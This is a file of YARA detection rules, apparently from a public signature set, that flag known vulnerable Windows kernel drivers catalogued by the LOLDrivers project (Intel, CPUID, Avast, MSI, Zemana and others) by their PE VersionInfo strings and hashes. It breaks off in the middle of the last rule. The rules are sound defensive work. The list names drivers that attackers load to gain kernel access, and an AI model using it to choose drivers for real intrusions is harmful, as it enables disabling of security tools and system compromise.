rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F65
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5f6547e9823f94c5b94af1fb69a967c4902f72b6e0c783804835e6ce27f887b0"
		date = "2023-06-14"
		score = 40
		id = "7b5d5036-d7ec-5722-a18c-9ccaeea8088e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100330020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003700200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_58A7
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viraglt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
		date = "2023-06-14"
		score = 40
		id = "5ea684cc-982c-5056-9e80-26fe74cb3a64"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltxsys_Pancafemanager_0650
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFltX64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf"
		date = "2023-06-14"
		score = 40
		id = "bc354ed5-befe-5421-9dbe-a5faef0cfa4a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_0F17
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0f17e5cfc5bdd74aff91bfb1a836071345ba2b5d1b47b0d5bf8e7e0d4d5e2dbf"
		date = "2023-06-14"
		score = 40
		id = "a54ff7bf-30a8-5cfc-aaca-a172bee2062b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_6C71
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ncpl.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44"
		hash = "3a65d14fd3b1b5981084cdbd293dc6f4558911ea18dd80177d1e5b54d85bcaa0"
		date = "2023-06-14"
		score = 40
		id = "730567f0-ae1e-5d8d-a9e6-df176faf4878"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Bsmisys_5962
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BSMIXP64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
		hash = "552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9"
		date = "2023-06-14"
		score = 40
		id = "86a0715c-4f0b-52ba-b6dc-44bd4499a222"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053004d00490020004400720069007600650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420053004d0049002e007300790073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053004d0049002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000420049004f005300540041005200200043006f00720070002e00200032003000310031 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_99F4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "99f4994a0e5bd1bf6e3f637d3225c69ff4cd620557e23637533e7f18d7d6cba1"
		hash = "56a3c9ac137d862a85b4004f043d46542a1b61c6acb438098a9640469e2d80e7"
		hash = "c2a4ddcc9c3b339d752c48925d62fc4cc5adbf6fae8fedef74cdd47e88da01f8"
		hash = "50d5eaa168c077ce5b7f15b3f2c43bd2b86b07b1e926c1b332f8cb13bd2e0793"
		hash = "9c10e2ec4f9ef591415f9a784b93dc9c9cdafa7c69602c0dc860c5b62222e449"
		hash = "6f1ff29e2e710f6d064dc74e8e011331d807c32cc2a622cbe507fd4b4d43f8f4"
		hash = "cd4a249c3ef65af285d0f8f30a8a96e83688486aab515836318a2559757a89bb"
		hash = "d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530"
		hash = "3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5"
		hash = "fd8669794c67b396c12fc5f08e9c004fdf851a82faf302846878173e4fbecb03"
		hash = "9529efb1837b1005e5e8f477773752078e0a46500c748bc30c9b5084d04082e6"
		hash = "f088b2ba27dacd5c28f8ee428f1350dca4bc7c6606309c287c801b2e1da1a53d"
		hash = "131d5490ceb9a5b2324d8e927fea5becfc633015661de2f4c2f2375a3a3b64c6"
		hash = "e3936d3356573ce2e472495cd3ce769f49a613e453b010433dafce5ea498ddc2"
		hash = "89b0017bc30cc026e32b758c66a1af88bd54c6a78e11ec2908ff854e00ac46be"
		hash = "18776682fcc0c6863147143759a8d4050a4115a8ede0136e49a7cf885c8a4805"
		hash = "7893307df2fdde25371645a924f0333e1b2de31b6bc839d8e2a908d7830c6504"
		hash = "79e2d37632c417138970b4feba91b7e10c2ea251c5efe3d1fc6fa0190f176b57"
		hash = "952199c28332bc90cfd74530a77ee237967ed32b3c71322559c59f7a42187dc4"
		hash = "101402d4f5d1ae413ded499c78a5fcbbc7e3bae9b000d64c1dd64e3c48c37558"
		hash = "39cfde7d401efce4f550e0a9461f5fc4d71fa07235e1336e4f0b4882bd76550e"
		hash = "85866e8c25d82c1ec91d7a8076c7d073cccf421cf57d9c83d80d63943a4edd94"
		hash = "b7a20b5f15e1871b392782c46ebcc897929443d82073ee4dcb3874b6a5976b5d"
		hash = "d92eab70bcece4432258c9c9a914483a2267f6ab5ce2630048d3a99e8cb1b482"
		hash = "984a77e5424c6d099051441005f2938ae92b31b5ad8f6521c6b001932862add7"
		hash = "e005e8d183e853a27ad3bb56f25489f369c11b0d47e3d4095aad9291b3343bf1"
		hash = "a961f5939088238d76757669a9a81905e33f247c9c635b908daac146ae063499"
		hash = "a9706e320179993dade519a83061477ace195daa1b788662825484813001f526"
		hash = "47f0cdaa2359a63ad1389ef4a635f1f6eee1f63bdf6ef177f114bdcdadc2e005"
		hash = "38fa0c663c8689048726666f1c5e019feaa9da8278f1df6ff62da33961891d2a"
		hash = "ef86c4e5ee1dbc4f81cd864e8cd2f4a2a85ee4475b9a9ab698a4ae1cc71fbeb0"
		date = "2023-06-14"
		score = 40
		id = "b1168895-eef9-5dfc-9b19-b3e0e302586d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_26E3
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "26e3bfef255efd052a84c3c43994c73222b14c95db9a4b1fc2e98f1a5cb26e43"
		hash = "3e07bb866d329a2f9aaa4802bad04fdac9163de9bf9cfa1d035f5ca610b4b9bf"
		hash = "c50f8ab8538c557963252b702c1bd3cee4604b5fc2497705d2a6a3fd87e3cc26"
		date = "2023-06-14"
		score = 40
		id = "6820d35b-66a3-512f-a734-0adefbf6a183"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310033002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Bsdefsys_Supportsstsfssteeatftatcamfntamfnbvctvcbmftwc_5F5E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Bs_Def.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be"
		hash = "3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5"
		hash = "0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3"
		hash = "36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb"
		date = "2023-06-14"
		score = 40
		id = "e4e1fc9a-b453-5996-8675-7accb0de023e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440065006600610075006c0074002000420049004f005300200046006c0061007300680020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100730075007300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007500700070006f0072007400200053005300540033003900530046003000320030002c0053005300540032003900450045003000320030002c004100540034003900460030003000320054002c00410054003200390043003000320030002c0041004d003200390046003000300032004e0054002c0041004d003200390046003000300032004e0042002c0056003200390043003500310030003000320054002c0056003200390043003500310030003000320042002c004d0032003900460030003000320054002c0057003200390043003000320030002e }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004100730075007300540065006b00200043006f006d00700075007400650072002e00200031003900390032002d0032003000300034 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panioxsys_Paniolibrary_6B83
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIOx64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74"
		date = "2023-06-14"
		score = 40
		id = "c5eec4c9-0210-5e0e-b819-96a6943f270d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_2A6D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2a6db9facf9e13d35c37dd468be04bae5f70c6127a9aee76daebddbdec95d486"
		hash = "1e16a01ef44e4c56e87abfbe03b2989b0391b172c3ec162783ad640be65ab961"
		hash = "aebcbfca180e372a048b682a4859fd520c98b5b63f6e3a627c626cb35adc0399"
		date = "2023-06-14"
		score = 40
		id = "85b7f3f1-6324-543f-8855-8cb13096b367"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310032002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_82FB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "82fbcb371d53b8a76a25fbbafaae31147c0d1f6b9f26b3ea45262c2267386989"
		date = "2023-06-14"
		score = 40
		id = "db7c877e-4b76-5b66-8a4f-a33cb7c76d5a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Entechtaiwan_Seasys_Softenginex_6CB5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Se64a.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc"
		date = "2023-06-14"
		score = 40
		id = "c6298a6f-761c-5e78-b97c-9713b29b0e00"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006e005400650063006800200073006f006600740045006e00670069006e006500200078003600340020006b00650072006e0065006c002d006d006f006400650020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006e0054006500630068002000540061006900770061006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065003600340061002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0073006f006600740045006e00670069006e0065002d007800360034 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065003600340061002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200045006e0054006500630068002000540061006900770061006e002c00200032003000300034002d0032003000300036002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0B54
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0b542e47248611a1895018ec4f4033ea53464f259c74eb014d018b19ad818917"
		date = "2023-06-14"
		score = 40
		id = "87caf882-a59a-55ca-89ce-a2c2115a1e50"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1273
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1273b74c3c1553eaa92e844fbd51f716356cc19cf77c2c780d4899ec7738fbd1"
		date = "2023-06-14"
		score = 40
		id = "323e0a63-c74c-5d9c-b3af-c64d2bceb724"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3854
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "385485e643aa611e97ceae6590c6a8c47155886123dbb9de1e704d0d1624d039"
		hash = "b773511fdb2e370dec042530910a905472fcc2558eb108b246fd3200171b04d3"
		date = "2023-06-14"
		score = 40
		id = "2c945052-bb7b-52be-9c11-18eedac5a28e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000360035 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_8FE9
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8fe9828bea83adc8b1429394db7a556a17f79846ad0bfb7f242084a5c96edf2a"
		date = "2023-06-14"
		score = 40
		id = "45ac5fe9-25e2-5ee9-a410-95d19ec75e33"

	strings:
